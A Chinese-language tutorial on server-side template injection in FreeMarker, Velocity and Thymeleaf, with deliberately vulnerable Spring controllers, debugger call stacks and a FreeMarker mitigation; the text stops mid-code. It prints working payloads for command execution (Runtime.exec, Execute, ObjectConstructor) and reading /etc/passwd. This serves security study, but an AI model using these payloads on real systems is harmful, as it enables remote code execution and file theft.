常用模板引擎
FreeMarker
Velocity
Thymeleaf
FreeMarker 简介 官方文档: Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data. Templates are written in the FreeMarker Template Language (FTL), which is a simple, specialized language. This approach is often referred to as the MVC (Model View Controller) pattern, and is particularly popular for dynamic web pages. It helps in separating web page designers (HTML authors) from developers (Java programmers usually). Designers won’t face complicated logic in templates, and can change the appearance of a page without programmers having to change or recompile code.
FreeMarker技术将模板中占位变量和代码中响应给前台的数据,通过FreeMarker引擎对接直接输出响应给浏览器,提高了响应速度。 原理:模板+数据模型=输出
相关函数及常见POC new 创建任意实现了TemplateModel接口的Java对象,同时在使用new的时候,还能够执行没有实现该接口类的静态初始化块 FreeMarker模板注入poc中常用的两个类: freemarker.template.utility.JythonRuntime和freemarker.template.utility.Execute(这两个类都继承了TemplateModel接口)API value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false
POC 命令执行:
1 2 3 4 5 6 <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON" )> <#assign field=clazz?api.getField("GSON" )> <#assign gson=field?api.get(null )> <#assign ex=gson?api.fromJson("{}" , classLoader.loadClass("freemarker.template.utility.Execute" ))> ${ex("open -a Calculator.app" ")}
1 <#assign value="freemarker.template.utility.ObjectConstructor" ?new ()>${value("java.lang.ProcessBuilder" ,"whoami" ).start()}
1 <#assign value="freemarker.template.utility.JythonRuntime" ?new ()><@value >import os;os.system("calc.exe" )
1 <#assign ex="freemarker.template.utility.Execute" ?new ()> ${ ex("open -a Calculator.app" ) }
文件读取:
1 2 3 4 5 6 7 <#assign is=object?api.class.getResourceAsStream("/Test.class" )> FILE:[<#list 0. .999999999 as _> <#assign byte =is.read()> <#if byte == -1 > <#break > </#if > ${byte }, </#list>]
1 2 3 4 5 6 7 8 9 <#assign uri=object?api.class.getResource("/" ).toURI()> <#assign input=uri?api.create("file:///etc/passwd" ).toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0. .999999999 as _> <#assign byte =is.read()> <#if byte == -1 > <#break > </#if > ${byte }, </#list>]
简单例子 第一:创建SpringBoot项目javasec-ssti 第二:导入FreeMarker依赖
1 2 3 4 <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-freemarker</artifactId > </dependency >
第三:添加配置文件 application.yml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 spring: freemarker: allow-request-override: false request-context-attribute: req suffix: .html content-type: text/html;charset=utf-8 enabled: true cache: false template-loader-path: classpath:/templates/ charset: UTF-8
第四:创建Controller(HelloController)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.example.javasecssti;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.*;import java.util.Map;@Controller public class HelloController { @RequestMapping("/") public String index () { return "index" ; } @RequestMapping("/hello") public String hello (@RequestParam Map<String, Object> params, Model model) { model.addAttribute("name" , params.get("name" )); return "hello" ; } }
第五:创建对应的视图文件(hello.html)
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > SSTI</title > </head > <body > <h1 > hello</h1 > <h1 > name:${name}</h1 > </body >
第六:运行访问,访问/hello,使用get请求提交name值即可将其渲染至页面 测试xss:如果提交的name值为<script>alert('a')</script>
,在不经过如何过滤的情况下,会将该值渲染到界面造成弹窗 测试命令执行:在hello.html中写入如下命令执行POC<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cmd /C calc") }
这样在访问/hello时,会触发命令执行,弹出计算器
简单分析 在freemarker\template\utility\Execute.class类的exec方法处下断点 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 exec:75 , Execute (freemarker.template.utility) _eval:62 , MethodCall (freemarker.core) eval:101 , Expression (freemarker.core) calculateInterpolatedStringOrMarkup:100 , DollarVariable (freemarker.core) accept:63 , DollarVariable (freemarker.core) visit:334 , Environment (freemarker.core) visit:340 , Environment (freemarker.core) process:313 , Environment (freemarker.core) process:383 , Template (freemarker.template) processTemplate:391 , FreeMarkerView (org.springframework.web.servlet.view.freemarker) doRender:304 , FreeMarkerView (org.springframework.web.servlet.view.freemarker) renderMergedTemplateModel:255 , FreeMarkerView (org.springframework.web.servlet.view.freemarker) renderMergedOutputModel:179 , AbstractTemplateView (org.springframework.web.servlet.view) render:316 , AbstractView (org.springframework.web.servlet.view) render:1373 , DispatcherServlet (org.springframework.web.servlet) processDispatchResult:1118 , DispatcherServlet (org.springframework.web.servlet) doDispatch:1057 , DispatcherServlet (org.springframework.web.servlet) doService:943 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doGet:898 , FrameworkServlet (org.springframework.web.servlet) service:626 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:733 , HttpServlet (javax.servlet.http) internalDoFilter:231 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100 , RequestContextFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93 , FormContentFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201 , CharacterEncodingFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) invoke:202 , StandardWrapperValve (org.apache.catalina.core) invoke:97 , StandardContextValve (org.apache.catalina.core) invoke:542 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:143 , StandardHostValve (org.apache.catalina.core) invoke:92 , ErrorReportValve (org.apache.catalina.valves) invoke:78 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:374 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:868 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1590 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1142 , ThreadPoolExecutor (java.util.concurrent) run:617 , ThreadPoolExecutor$Worker (java.util.concurrent) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
观察exec方法
修复防御 1 2 Configuration cfg = new Configuration ();cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 HashMap<String, String> map = new HashMap <String, String>(); String poc = "<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }" ;System.out.println(poc); StringTemplateLoader stringLoader = new StringTemplateLoader ();Configuration cfg = new Configuration ();stringLoader.putTemplate("name" ,poc); cfg.setTemplateLoader(stringLoader); Template Template_name = cfg.getTemplate("name" );StringWriter stringWriter = new StringWriter ();Template_name.process(Template_name,stringWriter);
设置cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
,它会加入一个校验,将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor过滤
分析TemplateClassResolver.SAFER_RESOLVER
1 2 3 4 5 6 7 8 9 10 11 12 13 TemplateClassResolver SAFER_RESOLVER = new TemplateClassResolver () { public Class resolve (String className, Environment env, Template template) throws TemplateException { if (!className.equals(ObjectConstructor.class.getName()) && !className.equals(Execute.class.getName()) && !className.equals("freemarker.template.utility.JythonRuntime" )) { try { return ClassUtil.forName(className); } catch (ClassNotFoundException var5) { throw new _MiscTemplateException (var5, env); } } else { throw _MessageUtil.newInstantiatingClassNotAllowedException(className, env); } } };
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。 2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析
参考 FreeMarker Java Template Engine (apache.org) Java安全之freemarker 模板注入 - nice_0e3 - 博客园 (cnblogs.com) FreeMarker入门到简要分析模版注入 逃逸安全的模板沙箱(一)——FreeMarker(上) (seebug.org)
velocity 简介 官方文档介绍: Velocity is a Java-based template engine. It permits anyone to use a simple yet powerful template language to reference objects defined in Java code. 在基于MVC模型开发时,Velocity可作为view引擎,取代jsp 官方文档:https://velocity.apache.org/
基本语法 **#**:标识velocity的脚本语句 #set、#if、#else、#end、#foreach、#include、#parse、#macro **$**:标识变量,如hello $a声明 :set用于声明Velocity脚本变量注释 : 单行注释用##
,多行注释用#*......*#
**{}**:用来明确标识Velocity变量 **!**:强制把不存在的变量显示为空白 参考文档:https://wizardforcel.gitbooks.io/velocity-doc/content/index.html
常见POC web程序中弹出msg的例子:
1 2 3 4 5 6 7 #if($msg) <script > alert ('$!msg' );</script > #end
命令执行POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // 命令执行1 #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator") // 命令执行2 #set($x='')## #set($rt = $x.class.forName('java.lang.Runtime'))## #set($chr = $x.class.forName('java.lang.Character'))## #set($str = $x.class.forName('java.lang.String'))## #set($ex=$rt.getRuntime().exec('id'))## $ex.waitFor() #set($out=$ex.getInputStream())## #foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end // 命令执行3 #set ($e="exp") #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) #set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $e.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream"))) #set($scan=$constructor.newInstance($input).useDelimiter("\A")) #if($scan.hasNext()) $scan.next() #end
简单例子 第一:导入依赖
1 2 3 4 5 <dependency > <groupId > org.apache.velocity</groupId > <artifactId > velocity</artifactId > <version > 1.7</version > </dependency >
第二:编写VelocityController
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example.javasecssti;import org.apache.velocity.VelocityContext;import org.apache.velocity.app.Velocity;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import java.io.StringWriter;@Controller public class VelocityController { @RequestMapping("/ssti/velocity") @ResponseBody public String velocity1 (@RequestParam(defaultValue="nth347") String username) { String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email" ; Velocity.init(); VelocityContext ctx = new VelocityContext (); ctx.put("name" , "Nguyen Nguyen Nguyen" ); ctx.put("phone" , "012345678" ); ctx.put("email" , "nguyen@vietnam.com" ); StringWriter out = new StringWriter (); Velocity.evaluate(ctx, out, "test" , templateString); return out.toString(); } }
第三:启动测试 poc
1 2 #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd /C calc")
命令执行成功,弹出计算器
简单分析 根据测试程序,首先会进入Velocity类的init方法
1 2 3 public static void init () { RuntimeSingleton.init(); }
在该方法中,会调用RuntimeSingleton类的init方法,这个方法主要是对模板引擎的初始化,比如设置属性、初始化日志系统、资源管理器、指令等 接下来回到主程序中,实例化VelocityContext,并将三对键值对put进去,之后调用Velocity类的evaluate方法 此时templateString的值为
1 2 Hello, #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd /C calc") | Full name: $name, phone: $phone, email: $email
1 2 3 public static boolean evaluate (Context context, Writer out, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException { return RuntimeSingleton.getRuntimeServices().evaluate(context, out, logTag, instring); }
直接进入了RuntimeInstance的evaluate方法
1 2 3 public boolean evaluate (Context context, Writer out, String logTag, String instring) { return this .evaluate(context, out, logTag, (Reader)(new StringReader (instring))); }
进入重载的evaluate方法 这个方法会调用RuntimeInstance类的parse方法进行解析 经过两重调用来到org\apache\velocity\runtime\parser\Parser.class的parse方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public SimpleNode parse (Reader reader, String templateName) throws ParseException { SimpleNode sn = null ; this .currentTemplateName = templateName; try { this .token_source.clearStateVars(); this .velcharstream.ReInit(reader, 1 , 1 ); this .ReInit((CharStream)this .velcharstream); sn = this .process(); } catch (MacroParseException var6) { this .rsvc.getLog().error("Parser Error: " + templateName, var6); throw var6; } catch (ParseException var7) { this .rsvc.getLog().error("Parser Exception: " + templateName, var7); throw new TemplateParseException (var7.currentToken, var7.expectedTokenSequences, var7.tokenImage, this .currentTemplateName); } catch (TokenMgrError var8) { throw new ParseException ("Lexical error: " + var8.toString()); } catch (Exception var9) { String msg = "Parser Error: " + templateName; this .rsvc.getLog().error(msg, var9); throw new VelocityException (msg, var9); } this .currentTemplateName = "" ; return sn; }
执行完process方法后,sn的值如下: 到目前为止,解析工作完成,函数调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 process:282 , Parser (org.apache.velocity.runtime.parser) parse:117 , Parser (org.apache.velocity.runtime.parser) parse:1226 , RuntimeInstance (org.apache.velocity.runtime) parse:1181 , RuntimeInstance (org.apache.velocity.runtime) evaluate:1297 , RuntimeInstance (org.apache.velocity.runtime) evaluate:1265 , RuntimeInstance (org.apache.velocity.runtime) evaluate:180 , Velocity (org.apache.velocity.app) velocity1:26 , VelocityController (com.example.javasecssti) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) doInvoke:190 , InvocableHandlerMethod (org.springframework.web.method.support) invokeForRequest:138 , InvocableHandlerMethod (org.springframework.web.method.support) invokeAndHandle:105 , ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation) invokeHandlerMethod:878 , RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handleInternal:792 , RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:87 , AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:1040 , DispatcherServlet (org.springframework.web.servlet) doService:943 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doPost:909 , FrameworkServlet (org.springframework.web.servlet) service:652 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:733 , HttpServlet (javax.servlet.http) internalDoFilter:231 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100 , RequestContextFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93 , FormContentFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201 , CharacterEncodingFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) invoke:202 , StandardWrapperValve (org.apache.catalina.core) invoke:97 , StandardContextValve (org.apache.catalina.core) invoke:542 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:143 , StandardHostValve (org.apache.catalina.core) invoke:92 , ErrorReportValve (org.apache.catalina.valves) invoke:78 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:374 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:868 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1590 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1142 , ThreadPoolExecutor (java.util.concurrent) run:617 , ThreadPoolExecutor$Worker (java.util.concurrent) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
接下来就是渲染工作了,回到RuntimeInstance类的evaluate方法 进入render方法中进行渲染,这里从context取值去做模板解析,输出到output writer当中 在ASTMethod类的execute方法中反射调用runtime 函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 exec:347 , Runtime (java.lang) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) doInvoke:395 , UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection) invoke:384 , UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection) execute:173 , ASTMethod (org.apache.velocity.runtime.parser.node) execute:280 , ASTReference (org.apache.velocity.runtime.parser.node) render:369 , ASTReference (org.apache.velocity.runtime.parser.node) render:342 , SimpleNode (org.apache.velocity.runtime.parser.node) render:1378 , RuntimeInstance (org.apache.velocity.runtime) evaluate:1314 , RuntimeInstance (org.apache.velocity.runtime) evaluate:1265 , RuntimeInstance (org.apache.velocity.runtime) evaluate:180 , Velocity (org.apache.velocity.app) velocity1:26 , VelocityController (com.example.javasecssti) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) doInvoke:190 , InvocableHandlerMethod (org.springframework.web.method.support) invokeForRequest:138 , InvocableHandlerMethod (org.springframework.web.method.support) invokeAndHandle:105 , ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation) invokeHandlerMethod:878 , RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handleInternal:792 , RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:87 , AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:1040 , DispatcherServlet (org.springframework.web.servlet) doService:943 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doPost:909 , FrameworkServlet (org.springframework.web.servlet) service:652 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:733 , HttpServlet (javax.servlet.http) internalDoFilter:231 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100 , RequestContextFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93 , FormContentFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201 , CharacterEncodingFilter (org.springframework.web.filter) doFilter:119 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:193 , ApplicationFilterChain (org.apache.catalina.core) doFilter:166 , ApplicationFilterChain (org.apache.catalina.core) invoke:202 , StandardWrapperValve (org.apache.catalina.core) invoke:97 , StandardContextValve (org.apache.catalina.core) invoke:542 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:143 , StandardHostValve (org.apache.catalina.core) invoke:92 , ErrorReportValve (org.apache.catalina.valves) invoke:78 , StandardEngineValve (org.apache.catalina.core) service:343 , CoyoteAdapter (org.apache.catalina.connector) service:374 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:868 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1590 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1142 , ThreadPoolExecutor (java.util.concurrent) run:617 , ThreadPoolExecutor$Worker (java.util.concurrent) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
另一段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @RequestMapping("/ssti/velocity2") @ResponseBody public String velocity2 (@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException { String templateString = new String (Files.readAllBytes(Paths.get("/path/to/template.vm" ))); templateString = templateString.replace("<USERNAME>" , username); StringReader reader = new StringReader (templateString); VelocityContext ctx = new VelocityContext (); ctx.put("name" , "Nguyen Nguyen Nguyen" ); ctx.put("phone" , "012345678" ); ctx.put("email" , "nguyen@vietnam.com" ); StringWriter out = new StringWriter (); org.apache.velocity.Template template = new org .apache.velocity.Template(); RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices(); SimpleNode node = runtimeServices.parse(reader, String.valueOf(template)); template.setRuntimeServices(runtimeServices); template.setData(node); template.initDocument(); template.merge(ctx, out); return out.toString(); }
模板文件template.vm内容:
1 2 3 Hello World! The first velocity demo. Name is <USERNAME>. Project is $project
这段代码的主要作用是读取Velocity模板文件,替换模板中的占位符,然后使用给定的上下文对象进行模板渲染,并将渲染结果作为字符串返回 过程:
使用templateString.replace对模板文件里的内容进行替换,这里的替换值可控
runtimeServices.parse将模板内容进行解析
template.merge(ctx, out);将模板内容进行渲染,这里会调用SimpleNode#render,过程大致和上面一致
参考 Java安全之Velocity模版注入 - Zh1z3ven - 博客园 (cnblogs.com) CVE-2019-3396 Confluence Velocity SSTI漏洞浅析 Java安全之velocity 模板注入 - nice_0e3 - 博客园 (cnblogs.com) Solr Velocity模板注入漏洞分析 | Anemone’s Blog Apache Solr Velocity 模板注入漏洞深度分析 (seebug.org)
Thymeleaf 简介 官方文档: Thymeleaf is a modern server-side Java template engine for both web and standalone environments, capable of processing HTML, XML, JavaScript, CSS and even plain text. The main goal of Thymeleaf is to provide an elegant and highly-maintainable way of creating templates. To achieve this, it builds on the concept of Natural Templates to inject its logic into template files in a way that doesn’t affect the template from being used as a design prototype. This improves communication of design and bridges the gap between design and development teams. 简单总结:Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎,允许处理HTML、XML、TEXT、JAVASCRIPT、CSS、RAW。 参考:https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html#what-is-thymeleaf https://www.docs4dev.com/docs/zh/thymeleaf/3.0/reference/using_thymeleaf.html#what-is-thymeleaf
简单使用 模板引擎 : 模板引擎对象是org.thymeleaf.ITemplateEngine接口的实现 Thymeleaf核心是org.thymeleaf.TemplateEngine
1 2 templateEngine = new TemplateEngine (); templateEngine.setTemplateResolver(templateResolver);
片段表达式 :
变量表达式:${…}
选择变量表达式:*{…}
消息表达:#{…}
URL表达式:@{…}
片段表达式:~{…}
语法:~{templatename::selector}
表示在/WEB-INF/templates/
目录下寻找名为templatename
的模板中定义的selector
~{templatename}
表示引用整个templatename
模版文件作为fragment
~{::selector}
或 ~{this::selector}
,引用来自同一模版文件名为selector的fragmnt预处理 :__${expression}__
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式
简单例子 使用仓库https://github.com/veracode-research/spring-view-manipulation 注意thymeleaf的依赖
1 2 3 4 <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-thymeleaf</artifactId > </dependency >
例子1 观察下面控制函数
1 2 3 4 @GetMapping("/path") public String path (@RequestParam String lang) { return "user/" + lang + "/welcome" ; }
正确的payload:/path?lang=en
POC:/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
分析:
SpringBoot请求解析 请求路由 分析DispatcherServlet.class的doDispatch函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 protected void doDispatch (HttpServletRequest request, HttpServletResponse response) throws Exception { HttpServletRequest processedRequest = request; HandlerExecutionChain mappedHandler = null ; boolean multipartRequestParsed = false ; WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request); try { try { ModelAndView mv = null ; Exception dispatchException = null ; try { processedRequest = this .checkMultipart(request); multipartRequestParsed = processedRequest != request; mappedHandler = this .getHandler(processedRequest); if (mappedHandler == null ) { this .noHandlerFound(processedRequest, response); return ; } HandlerAdapter ha = this .getHandlerAdapter(mappedHandler.getHandler()); String method = request.getMethod(); boolean isGet = "GET" .equals(method); if (isGet || "HEAD" .equals(method)) { long lastModified = ha.getLastModified(request, mappedHandler.getHandler()); if ((new ServletWebRequest (request, response)).checkNotModified(lastModified) && isGet) { return ; } } if (!mappedHandler.applyPreHandle(processedRequest, response)) { return ; } mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); if (asyncManager.isConcurrentHandlingStarted()) { return ; } this .applyDefaultViewName(processedRequest, mv); mappedHandler.applyPostHandle(processedRequest, response, mv); } catch (Exception var20) { dispatchException = var20; } catch (Throwable var21) { dispatchException = new NestedServletException ("Handler dispatch failed" , var21); } this .processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); } catch (Exception var22) { this .triggerAfterCompletion(processedRequest, response, mappedHandler, var22); } catch (Throwable var23) { this .triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException ("Handler processing failed" , var23)); } } finally { if (asyncManager.isConcurrentHandlingStarted()) { if (mappedHandler != null ) { mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response); } } else if (multipartRequestParsed) { this .cleanupMultipart(processedRequest); } } }
进入getHandler方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @Nullable protected HandlerExecutionChain getHandler (HttpServletRequest request) throws Exception { if (this .handlerMappings != null ) { Iterator var2 = this .handlerMappings.iterator(); while (var2.hasNext()) { HandlerMapping mapping = (HandlerMapping)var2.next(); HandlerExecutionChain handler = mapping.getHandler(request); if (handler != null ) { return handler; } } } return null ; }
进入org\springframework\web\servlet\handler\AbstractHandlerMapping.class中getHandler方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 @Nullable public final HandlerExecutionChain getHandler (HttpServletRequest request) throws Exception { Object handler = this .getHandlerInternal(request); if (handler == null ) { handler = this .getDefaultHandler(); } if (handler == null ) { return null ; } else { if (handler instanceof String) { String handlerName = (String)handler; handler = this .obtainApplicationContext().getBean(handlerName); } HandlerExecutionChain executionChain = this .getHandlerExecutionChain(handler, request); if (this .logger.isTraceEnabled()) { this .logger.trace("Mapped to " + handler); } else if (this .logger.isDebugEnabled() && !request.getDispatcherType().equals(DispatcherType.ASYNC)) { this .logger.debug("Mapped to " + executionChain.getHandler()); } if (this .hasCorsConfigurationSource(handler) || CorsUtils.isPreFlightRequest(request)) { CorsConfiguration config = this .corsConfigurationSource != null ? this .corsConfigurationSource.getCorsConfiguration(request) : null ; CorsConfiguration handlerConfig = this .getCorsConfiguration(handler, request); 